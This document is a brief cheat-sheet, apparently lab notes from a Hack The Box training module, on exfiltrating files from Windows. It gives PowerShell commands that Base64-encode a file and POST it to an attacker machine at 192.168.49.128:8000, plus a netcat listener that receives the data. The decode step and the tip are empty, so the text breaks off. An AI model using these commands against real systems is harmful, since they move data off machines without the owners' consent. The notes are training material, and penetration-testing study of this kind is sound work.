𧬠PowerShell Base64 Web Upload
Here's a slick way to exfiltrate files using PowerShell, Base64, and a simple Netcat listener on your attack box β no need for a fancy web server! π§ͺπ‘
π§± Step 1: Encode the File in PowerShell
PS C:\htb> $b64 = [System.Convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))π Step 2: Send It as a POST Request
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64π‘οΈ Step 3: Catch the Data with Netcat
z3tssu@htb[/htb]$ nc -lvnp 8000POST / HTTP/1.1
User-Agent: Mozilla/5.0...
Content-Length: 1820
<your base64 string here!>π Step 4: Decode and Rebuild the File
π‘ Tip:
Last updated